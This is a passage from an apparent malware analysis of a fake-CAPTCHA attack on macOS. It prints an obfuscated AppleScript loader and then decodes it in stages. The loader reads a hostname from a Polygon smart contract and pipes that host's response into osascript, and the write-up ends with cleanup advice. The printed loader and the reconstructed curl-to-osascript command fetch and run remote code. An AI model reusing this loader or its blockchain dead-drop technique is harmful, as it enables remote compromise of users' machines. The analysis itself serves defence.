character 105))) & (((ASCII character 99) & (ASCII character 110)) & ((character id 111) & (character id 100))))) & (((character id 101) & ".c") & ((ASCII character 111) & (ASCII character 109)))), ((((("po" & (character id 108)) & ((ASCII character 121) & (ASCII character 103))) & (((ASCII character 111) & (ASCII character 110)) & ((ASCII character 45) & "ma"))) & ((("in" & "n") & ("et" & ".")) & (((ASCII character 103) & (character id 97)) & ((ASCII character 116) & (ASCII character 101))))) & (((((ASCII character 119) & "a") & ((character id 121) & (character id 46))) & (((ASCII character 116) & (ASCII character 97)) & ((character id 116) & (ASCII character 117)))) & (((character id 109) & (character id 46)) & ((ASCII character 105) & (character id 111))))), (string id {116, 101, 110, 100, 101, 114, 108, 121, 46, 114, 112, 99, 46, 112, 111, 108, 121, 103, 111, 110, 46, 99, 111, 109, 109, 117, 110, 105, 116, 121})}
set __mfC6CyrA to (((string id {123, 34, 106, 115, 111, 110, 114, 112, 99, 34, 58, 34, 50, 46, 48, 34, 44, 34, 109, 101, 116, 104}) & (string id {111, 100, 34, 58, 34, 101, 116, 104, 95, 99, 97, 108, 108, 34, 44, 34, 112, 97, 114, 97, 109, 115, 34, 58, 91, 123, 34, 116, 111, 34, 58, 34, 48, 120, 65, 51, 97, 54, 48, 51})) & ((string id {70, 56, 97, 52, 53, 52, 97, 57, 99, 57, 48, 53, 98, 52, 99, 53, 55, 57, 66, 98, 55, 50, 54, 50, 56, 70, 55, 67, 49, 53, 67, 50, 65}) & (string id {48, 34, 44, 34, 100, 97, 116, 97, 34, 58, 34, 48, 120, 50, 54, 56, 54, 101, 99, 101, 97, 34, 125, 44, 34, 108, 97, 116, 101, 115, 116, 34, 93, 44, 34, 105, 100, 34, 58, 49, 125})))
set __pr6qW9XFU to ((((((ASCII character 101) & (ASCII character 57)) & ("1" & (ASCII character 56))) & (((ASCII character 50) & "5") & ((ASCII character 97) & "8"))) & ((("3" & (character id 99)) & ((ASCII character 52) & "b")) & (("b" & "6") & ("415" & (character id 49))))) & (((((character id 48) & "1") & ((character id 99) & (ASCII character 100))) & (((ASCII character 48) & (ASCII character 51)) & ((ASCII character 97) & (character id 50)))) & (("f4" & (ASCII character 50)) & ("2f" & (ASCII character 56)))))
repeat with _IZWErkU in __fk3DTsGf
try
set __yJuYM93mm to do shell script (((((((ASCII character 114) & (character id 61)) & ((character id 36) & (ASCII character 40))) & (("c" & (character id 117)) & ((ASCII character 114) & (character id 108)))) & ((((character id 32) & (character id 45)) & ((ASCII character 115) & (ASCII character 32))) & (((ASCII character 45) & (character id 45)) & ((character id 109) & (ASCII character 97))))) & (((((ASCII character 120) & (character id 45)) & ((ASCII character 116) & (character id 105))) & (((ASCII character 109) & "e") & ((character id 32) & (ASCII character 49)))) & ((((ASCII character 53) & (ASCII character 32)) & ((ASCII character 104) & (character id 116))) & (("t" & "p") & ((character id 115) & (ASCII character 58)))))) & ((character id 47) & "/")) & _IZWErkU & ((string id {32, 45, 88, 32, 80, 79, 83, 84, 32, 45, 72, 32, 39, 67, 111, 110, 116, 101, 110, 116}) & "-Type: application/json' --data '") & __mfC6CyrA & (((string id {39, 41, 59, 32, 104, 61, 36, 40, 101, 99, 104, 111, 32, 34, 36, 114, 34, 32, 124, 32, 115, 101, 100, 32, 45, 110, 32, 39, 115, 47, 46, 42, 34, 114, 101, 115, 117, 108, 116, 34, 58, 34, 48, 120, 92, 40, 91, 94}) & (string id {34, 93, 42, 92, 41, 34, 46, 42, 47, 92, 49, 47, 112, 39, 41, 59, 32, 91, 32, 45, 122, 32, 34, 36, 104, 34, 32, 93, 38, 38, 101, 120, 105, 116, 32, 49, 59, 32, 108, 61, 36, 40, 112, 114, 105, 110, 116})) & ((string id {102, 32, 34, 37, 100, 34, 32, 34, 48, 120, 36, 123, 104, 58, 54, 52, 58, 54, 52, 125, 34, 41, 59, 32, 101, 99, 104, 111, 32, 34, 36, 123}) & (string id {104, 58, 49, 50, 56, 58, 36, 40, 40, 108, 42, 50, 41, 41, 125, 34, 124, 120, 120, 100, 32, 45, 114, 32, 45, 112})))
if __yJuYM93mm is not equal "" then exit repeat
end try
end repeat
if __yJuYM93mm is not equal "" then
set __GKTINSoZV to ((string id {99, 117, 114, 108, 32, 45, 45, 99, 111, 110, 110, 101, 99, 116, 45, 116, 105, 109, 101, 111, 117, 116, 32, 53, 32, 45, 45, 109, 97, 120, 45, 116, 105, 109, 101, 32, 50, 48, 32, 45, 45, 114}) & (string id {101, 116, 114, 121, 32, 51, 32, 45, 45, 114, 101, 116, 114, 121, 45, 100, 101, 108, 97, 121, 32, 53, 32})) & (((("-" & (ASCII character 88)) & ((character id 32) & (character id 80))) & (((ASCII character 79) & (ASCII character 83)) & ((ASCII character 84) & (ASCII character 32)))) & ((((ASCII character 104) & (character id 116)) & ((ASCII character 116) & (character id 112))) & (((ASCII character 115) & (ASCII character 58)) & ("/" & (character id 47))))) & quoted form of __yJuYM93mm & " " & "-d " & quoted form of (((((ASCII character 116) & (ASCII character 120)) & ((ASCII character 105) & (character id 100))) & (ASCII character 61)) & __pr6qW9XFU & (("&b" & "mod") & ((character id 117) & "le"))) & (((" | " & "osa") & ((ASCII character 115) & (ASCII character 99))) & (("r" & (ASCII character 105)) & ((character id 112) & (ASCII character 116))))
do shell script __GKTINSoZV
end if(*m
After decoding the ASCII character values, we get:
set __fk3DTsGf to {((((("p") & ("o")) & (("l") & ("y"))) & (("g" & ("o")) & ("n." & ("d")))) & (((("r") & ("p")) & (("c") & ("."))) & ((("o") & ("r")) & ("g")))), ((((("po" & ("l")) & (("y") & ("g"))) & ((("o") & ("n")) & ((".") & ("p")))) & (((("u") & ("b")) & (("l") & ("i"))) & ((("c") & ("n")) & (("o") & ("d"))))) & ((("e") & ".c") & (("o") & ("m")))), ((((("po" & ("l")) & (("y") & ("g"))) & ((("o") & ("n")) & (("-") & "ma"))) & ((("in" & "n") & ("et" & ".")) & ((("g") & ("a")) & (("t") & ("e"))))) & ((((("w") & "a") & (("y") & ("."))) & ((("t") & ("a")) & (("t") & ("u")))) & ((("m") & (".")) & (("i") & ("o"))))), ("tenderly.rpc.polygon.community")}
set __mfC6CyrA to ((("{"jsonrpc":"2.0","meth") & ("od":"eth_call","params":[{"to":"0xA3a603")) & (("F8a454a9c905b4c579Bb72628F7C15C2A") & ("0","data":"0x2686ecea"},"latest"],"id":1}")))
set __pr6qW9XFU to (((((("e") & ("9")) & ("1" & ("8"))) & ((("2") & "5") & (("a") & "8"))) & ((("3" & ("c")) & (("4") & "b")) & (("b" & "6") & ("415" & ("1"))))) & ((((("0") & "1") & (("c") & ("d"))) & ((("0") & ("3")) & (("a") & ("2")))) & (("f4" & ("2")) & ("2f" & ("8")))))
repeat with _IZWErkU in __fk3DTsGf
try
set __yJuYM93mm to do shell script ((((((("r") & ("=")) & (("$") & ("("))) & (("c" & ("u")) & (("r") & ("l")))) & ((((" ") & ("-")) & (("s") & (" "))) & ((("-") & ("-")) & (("m") & ("a"))))) & ((((("x") & ("-")) & (("t") & ("i"))) & ((("m") & "e") & ((" ") & ("1")))) & (((("5") & (" ")) & (("h") & ("t"))) & (("t" & "p") & (("s") & (":")))))) & (("/") & "/")) & _IZWErkU & ((" -X POST -H 'Content") & "-Type: application/json' --data '") & __mfC6CyrA & ((("'); h=$(echo "$r" | sed -n 's/.*"result":"0x\([^") & (""]*\)".*/\1/p'); [ -z "$h" ]&&exit 1; l=$(print")) & (("f "%d" "0x${h:64:64}"); echo "${") & ("h:128:$((l*2))}"|xxd -r -p")))
if __yJuYM93mm is not equal "" then exit repeat
end try
end repeat
if __yJuYM93mm is not equal "" then
set __GKTINSoZV to (("curl --connect-timeout 5 --max-time 20 --r") & ("etry 3 --retry-delay 5 ")) & (((("-" & ("X")) & ((" ") & ("P"))) & ((("O") & ("S")) & (("T") & (" ")))) & (((("h") & ("t")) & (("t") & ("p"))) & ((("s") & (":")) & ("/" & ("/"))))) & quoted form of __yJuYM93mm & " " & "-d " & quoted form of ((((("t") & ("x")) & (("i") & ("d"))) & ("=")) & __pr6qW9XFU & (("&b" & "mod") & (("u") & "le"))) & (((" | " & "osa") & (("s") & ("c"))) & (("r" & ("i")) & (("p") & ("t"))))
do shell script __GKTINSoZV
end if(*m
De-obfuscated version:
set __fk3DTsGf to {"polygon.rpc.org", "polygon.publicnode.com", "polygon-mainet.gateway.tatum.io", "tenderly.rpc.polygon.community"}
set __mfC6CyrA to "{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{\"to\":\"0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0\",\"data\":\"0x2686ecea\"},\"latest\"],\"id\":1}"
set __pr6qW9XFU to "e91825a83cb6415101cd03a2f422f8"
set __yJuYM93mm to ""
repeat with _IZWErkU in __fk3DTsGf
try
set __yJuYM93mm to do shell script "r=$(curl -s --max-time 15 https://" & _IZWErkU & " -X POST -H 'Content-Type: application/json' --data '" & __mfC6CyrA & "'); h=$(echo \"$r\" | sed -n 's/.*\"result\":\"0x\\([^\"]*\\)\".*/\\1/p'); [ -z \"$h\" ] && exit 1; l=$(printf \"%d\" \"0x${h:64:64}\"); echo \"${h:128:$((l*2))}\" | xxd -r -p"
if __yJuYM93mm is not equal "" then exit repeat
end try
end repeat
if __yJuYM93mm is not equal "" then
set __GKTINSoZV to "curl --connect-timeout 5 --max-time 20 --retry 3 --retry-delay 5 -X POST https://" & quoted form of __yJuYM93mm & " -d " & quoted form of ("txid=" & __pr6qW9XFU & "&bmodule") & " | osascript"
do shell script __GKTINSoZV
end if
To simplify the logic, __fk3DTsGf first defines several Polygon RPC endpoints:
set __fk3DTsGf to {
"polygon.rpc.org",
"polygon.publicnode.com",
"polygon-mainet.gateway.tatum.io",
"tenderly.rpc.polygon.community"
}
Then curl (__yJuYM93mm) sends the JSON-RPC (__mfC6CyrA) request to those URLs and saves the response in r. From that variable r:
h=$(echo \"$r\" | sed -n 's/.*\"result\":\"0x\\([^\"]*\\)\".*/\\1/p');It extracts a hex string from"result":"0x..."and strips the0xprefix from it.[ -z \"$h\" ] && exit 1;Checks if it’s empty.l=$(printf \"%d\" \"0x${h:64:64}\");It extracts a 64-character hexadecimal substring, converts that hexadecimal length value into a decimal integer, and stores it inl.echo \"${h:128:$((l*2))}\" | xxd -r -p"It extracts the actual data payload, starting at index 128. Thenxxd -r -ptakes the raw hex string and converts it back into its original binary byte format.
Decoded string is saved in __yJuYM93mm.
Now comes the final part:
if __yJuYM93mm is not equal "" then
set __GKTINSoZV to "curl --connect-timeout 5 --max-time 20 --retry 3 --retry-delay 5 -X POST https://" & quoted form of __yJuYM93mm & " -d " & quoted form of ("txid=" & __pr6qW9XFU & "&bmodule") & " | osascript"
do shell script __GKTINSoZV
end if
Notice that this is another curl request, and it uses the value stored in __yJuYM93mm as the hostname. The script therefore does not need to hard-code its final server address. Whoever controls the Polygon smart contract can change the address returned to the script without changing the AppleScript. The response is then piped to osascript for execution.
The constructed shell command is effectively equivalent to:
curl --connect-timeout 5 --max-time 20 \
--retry 3 --retry-delay 5 \
-X POST "https://<attacker-returned-host>" \
-d 'txid=e91825a83cb6415101cd03a2f422f8&bmodule' \
| osascript
To determine the hostname currently returned by the attacker-controlled contract, we can revisit __yJuYM93mm and send the JSON-RPC request to the four Polygon RPC endpoints.
Among those four, only two returned the same response.

- Following bytes,
6f726573686e696b2e746f70, are ASCII for the domainoreshnik.top.
For reference:
RPC endpoint Result Details polygon.rpc.orgSSL error 60 TLS certificate hostname mismatch; curlrefused to establish the connection.polygon.publicnode.comJSON-RPC success Returned a valid contract result. polygon-mainet.gateway.tatum.ioHTTP 404 The endpoint returned Not Found; this URL did not serve the requested RPC call.tenderly.rpc.polygon.communityJSON-RPC success Returned the same contract result as PublicNode.
However, sending the request to oreshnik.top with txid=e91825a83cb6415101cd03a2f422f8&bmodule returned Content-Length: 0.

By the time I started the investigation, the site hosting the CAPTCHA was already down: https://shield.crypsend.click/idcheck/harborid.html. At the time of investigation, the following request:
curl --connect-timeout 5 --max-time 20 \
--retry 3 --retry-delay 5 \
-X POST "https://oreshnik.top" \
-d 'txid=e91825a83cb6415101cd03a2f422f8&bmodule'
also returns Content-Length: 0. This does not mean it is safe to execute the malware with osascript. The attacker still have a .plist file at ~/Library/LaunchAgents/com.Apple.ddjnmuymodzjkyov.plist, which executes whenever the user logs in. The attacker also controls the value returned through __yJuYM93mm, i.e., the hostname to which the request is sent. Because the response is piped to osascript, a previously empty response does not make the system safe: the attacker can change the response (or even the hostname directly) at any time.
Conclusion
Even though I couldn’t retrieve the final malware, this was still an interesting chain to analyze.
The main takeaway is that you should never paste commands into Terminal just because a website asks you to. A CAPTCHA should never require you to open Terminal or run a command. If you have already done this, you should assume that your machine is compromised, turn off the internet on your Mac, remove suspicious persistence mechanisms such as the .plist file, run antivirus software, and ask a security guy to investigate the system further. Or, best of all, reinstall the operating system itself.
